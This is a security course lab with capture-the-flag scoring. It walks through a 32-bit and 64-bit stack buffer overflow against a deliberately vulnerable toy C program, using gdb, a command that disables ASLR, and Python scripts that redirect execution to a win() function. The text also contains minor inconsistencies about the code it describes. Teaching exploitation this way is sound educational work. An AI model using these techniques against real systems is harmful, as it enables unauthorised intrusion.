ED 202: Linux Buffer Overflow Without Shellcode (40 pts + 75 extra)

What You Need

A 64-bit Linux machine. I used a Google Cloud Debian server.

Purpose

To develop a very simple buffer overflow exploit in Linux, that alters execution to bypass a password. This will give you practice with these techniques:

Task 1: Exploiting a 32-Bit Program

Creating a Vulnerable Program

This program asks for a password. The function test_pw uses simple bitwise manipulations to obfuscate the password comparison, so that the correct password is not literal in the source code.

In a Terminal window, execute this command:


nano pwd.c
Enter this code, as shown below.

#include <stdlib.h>
#include <stdio.h>

int test_pw() {
        char password[10];
        printf("Password address: %p\n", password);
        printf("Enter password: ");
        fgets(password, 50, stdin);
        return 1;
}

void win() {
        printf("You win!\n");
}

void main() {
        if (test_pw()) printf("Fail!\n");
        else win();
}
The test_pw function reserves room for 10 characters in pin[], but reads up to 50 characters from stdin, allowing a buffer overflow.

It also always returns 1, so the win() function is never executed. Our goal is to print "You win!" by exploiting the buffer overflow.

Save the file with Ctrl+X, Y, Enter.

Execute these commands to compile the code as a 32-bit executable, check the file type, and run it.

For this project, we'll also use the "-g" switch to add debugging information to the executable, so the gdb debugger can see source code.


gcc -g -m32 -o pwd32 pwd.c
file pwd32
./pwd32
1
The program is an "ELF 32-bit" file.

The program exits normally, wth the "Fail!" message, as shown below.

Execute the program again, with a password of:


AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
as shown below.

The "Segmentation fault" message indicates a buffer overflow.

Disabling ASLR

Address Space Layout Randomization is a defense feature to make buffer overflows more difficult, and all modern operating systems uses it by default.

To see it in action, run the "pwd32" program several times with a password of 1. The password address is different every time, as shown below.

ASLR makes you much safer, but it's an irritation we don't need for the first parts of this project, so we'll turn it off.

In a Terminal, execute these commands, as shown below.


sudo su -
echo 0 > /proc/sys/kernel/randomize_va_space
exit

Run the "pwd32" program several times again with a password of 1. The password address is now the same every time, as shown below.

Debugging the Program

Execute these commands to debug the file, list the source code of the test_pw function, and set a breakpoint after the fgets() call.

The "-q" option tells gdb to run in "quiet" mode, that is, not to display its banner message.


gdb -q pwd32
list 1,13
break 9

Normal Execution

In the gdb debugging environment, execute these commands, one at a time. Don't copy and paste them all at once.

run
AAAAAAAAAA
info registers
x/12x $esp
The code runs to the breakpoint, and shows the registers, as shown below. (Your address values may be different.)

The important registers for us now are:

Notice that $eip has an address of <test_pw+84> (or something similar) -- that is, inside the test_pw function.

$esp is the start of the stack frame, at 0xffffd640 in the image below.

$ebp is 0xffffd668 in the image below -- this is the end of the stack frame, containing local variables for the test_pw function, and other information.

The password you entered, "AAAA", appears on the stack as ten "41" hex values, outlined in aqua in the image below.

The word immediately after the stack frame is the saved return pointer, outlined in red in the image below. When the function returns, this value is placed into the $eip.

Overflowing the Stack with 40 Characters

In the gdb debugging environment, enter these values to run the program again with a longer password.

run
y
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
x/12x $esp
As you can see, the RET value now contains 0x46464747 -- hexadecimal codes for "FFGG" in reverse order, as you can see in the ASCII table below.

In the gdb debugging environment, execute this command to continue the program:


continue
The program halts with a "Segmentation fault", as shown below.

In the gdb debugging environment, execute this command:


info registers
As shown below, the $eip now contains 0x46464747. The 4 characters "FFGG" end up in $eip.


ED 202.1: ebp (10 pts)

The flag is the value of ebp, covered by a green box in the image above.


Selecting a Location

We can make the program go to any address we like now.

To see the addresses in main, execute this command:

disassemble win
Find the address of the start of the win() function. As shown below, it was 0x5655566e when I did it, but it may be different on your system .

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Using Python to Create an Exploit File

In a Terminal window, execute this command:

nano exploit-pwd32
Type in the code shown below. This puts in the same string we used before, replacing "FFGG" with the four bytes of the desired address, in reverse order:

#!/usr/bin/python

# 0x5655566e

prefix = "AAAABBBBCCCCDDDDEEEEFF"
eip = '\x6e\x56\x55\x56'
postfix = "GGHHHHIIIIJJJJ"

print prefix + eip + postfix

Save the file with Ctrl+X, Y, Enter.

Next we need to make the program executable and run it.

In a Terminal window, execute these commands.


chmod +x exploit-pwd32
./exploit-pwd32
The program prints out the letters, with four letters in the middle changed, as shown below.

In a Terminal window, execute these commands to put the output into a file named attack-pwd.

Note that the second command begins with "LS -L " in lowercase characters.


./exploit-pwd32 > attack-pwd32
ls -l attack-pwd32
This creates a file named "attack-pwd32" containing 41 characters, as shown below.

Testing the Exploit in the Debugger

Execute these commands to load the file in the gdb debugging environment, list the source code of the test_pw function, and set a breakpoint after the password is input:

gdb -q pwd32
break 9
run --args < attack-pwd32
info registers
x/12x $esp
As you can see below, the RET value (just after the highlighted section) is now 0x5655566e -- the value we chose earlier.

Execute this command to continue executing the file:


continue
We get the "You Win!" message, as desired. Then, the program crashes because we changed the saved $eip but did not also adjust the saved $ebp, so the program cannot return normally from the win() function, but that's OK for now.


ED 202.2: Crash message (10 pts)

The flag is the message covered by a green box in the image above.


Running the Exploit Outside the Debugger

The debugger is not a perfect simulation of the real shell, and often exploits that work in gdb need adjustment to work outside it.

Execute these commands to exit the debugger and run the exploit in the normal shell:


q
y
./pwd32 < attack-pwd32
You see the "You win!" message, as shown below. This exploit doesn't require any further adjustment.

Task 2: Exploiting a 64-Bit Program

Compiling the Code

Execute these commands to compile the code as a 64-bit executable, check the file type, and run it.

gcc -g -o pwd64 pwd.c
file pwd64
./pwd64
1
The program is an "ELF 64-bit" file.

The program exits normally, wth the "Fail!" message, as shown below.

Observing a Crash

Execute the program again, with a password of:

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
as shown below.

The "Segmentation fault" message indicates a buffer overflow.

Debugging the Code

Execute these commands to run the program in a debugger:

gdb -q pwd64
list 1,13
break 9
run
Paste in these entries to observe the stack without an overflow

AAAAAAAAAA
info registers
x/12x $rsp
The stack layout is very similar to the 32- bit case, but the registers are larger and the names have changed, as shown below.

The instruction pointer is $rip, $rsp is the start of the stack frame, and $rbp is the bottom.

The password you entered, "AAAA", appears on the stack as ten "41" hex values, outlined in aqua in the image below.

The 64-bit word immediately after the stack frame is the saved return pointer, outlined in red in the image below. When the function returns, this value is placed into the $eip.

Overflowing the Stack with 40 Characters

In the gdb debugging environment, enter these values to run the program again with a longer password.

run
y
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
x/12x $rsp
As you can see, the RET value now contains 0x4545464646464747 -- hexadecimal codes for "EEFFFFGG" in reverse order.

In the gdb debugging environment, execute this command to continue the program:


continue
The program halts with a "Segmentation fault", as shown below.


ED 202.3: Location (10 pts)

The flag is the location of the crash, covered by a green box in the image above.


Selecting a Target Address

We can make the program go to any address we like now.

To see the addresses in main, execute this command:

disassemble win
Find the address of the start of the win() function. As shown below, it was 0x00005555555547d0 when I did it, but it may be different on your system .

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Using Python to Create an Exploit File

In a Terminal window, execute this command:

nano exploit-pwd64
Type in the code shown below. This puts in the same string we used before, replacing "FFGG" with the four bytes of the desired address, in reverse order:

#!/usr/bin/python

# 0x00005555555547d0

prefix = "AAAABBBBCCCCDDDDEE"
eip = '\xd0\x47\x55\x55\x55\x55\x00\x00'
postfix = "GGHHHHIIIIJJJJ"

print prefix + eip + postfix

Save the file with Ctrl+X, Y, Enter.

Next we need to make the program executable and run it.

In a Terminal window, execute these commands.


chmod +x exploit-pwd64
./exploit-pwd64
The program prints out the letters, with eight letters in the middle changed, some of them unprintable, as shown below.

In a Terminal window, execute these commands to put the output into a file named attack-pwd.

Note that the second command begins with "LS -L " in lowercase characters.


./exploit-pwd64 > attack-pwd64
ls -l attack-pwd64
This creates a file named "attack-pwd64" containing 41 characters, as shown below.

Testing the Exploit in the Debugger

Execute these commands to load the file in the gdb debugging environment, list the source code of the test_pw function, and set a breakpoint after the password is input:

gdb -q pwd64
break 9
run --args < attack-pwd64
info registers
x/12x $rsp
As you can see below, the RET value (just after the highlighted section) is now 0x00005555555547d0 -- the value we chose earlier.

Execute this command to continue executing the file:


continue
We get the "You Win!" message, as desired. Then the program crashes.


ED 202.4: Crash Location (10 pts)

The flag is the location covered by a green box in the image above.


Running the Exploit Outside the Debugger

Execute these commands to exit the debugger and test the exploit in the normal shell:

q
y
./pwd64 < attack-pwd64
You see the "You win!" message, as shown below. This exploit doesn't require any further adjustment.


ED 202.5 & 202.6: Exploiting a Remote Server (20 pts)

This form sends a string to a remote server and runs it through the binary you exploited above.

There are two flags: the first one can be found using the "debug" button, and the second must be read using the "send" button.

The "debug" button runs the program inside gdb, which removes Address Space Layout Randomization (ASLR) and executes these commands:

ED 202.5 & 202.6: String Processor

String:

ED202.5: Send a BEL Character (5 pts)

Send a string 31 characters long ending in a BEL (ASCII code 7) to see the flag.

ED202.6: Run the win() Function (15 pts)

Redirect execution to the win() function to see the flag.

Hints


ED 202.7: Exploiting a 64-Bit Server (20 pts)

This form sends a string to a remote server and runs it through a 64-bit server process.

The "debug" button runs the program inside gdb, which removes Address Space Layout Randomization (ASLR) and executes these commands:

ED 202.7: String Processor

String:

ED202.7: Run the win() Function (20 pts)

Redirect execution to the win() function to see the flag.

ED 202.8 & 202.9: Exploiting a 32-Bit Server with ASLR (35 pts)

This form sends a string to a remote server and runs it through a 32-bit server process with ASLR enabled.

Enter the string in hexadecimal, so 414243 represents ABC.

The "debug" button runs the program inside gdb, which removes Address Space Layout Randomization (ASLR) and executes these commands:

ED 202.8 & 202.9: String Processor

String in Hex:
   

ED202.8: Run the win() Function in the Debugger (10 pts)

Use the debug button in the form above. Redirect execution to the win() function in the debugger to see the first flag.

ED202.9: Run the win() Function Outside the Debugger (25 pts)

Use the run button in the form above to launch the server outside the debugger, with ASLR enabled.

Redirect execution to the win() function outside the debugger to see the second flag.


Posted 7-17-19 by Sam Bowne
Tab -> BEL 8-5-19
Point total corrected 9-9-19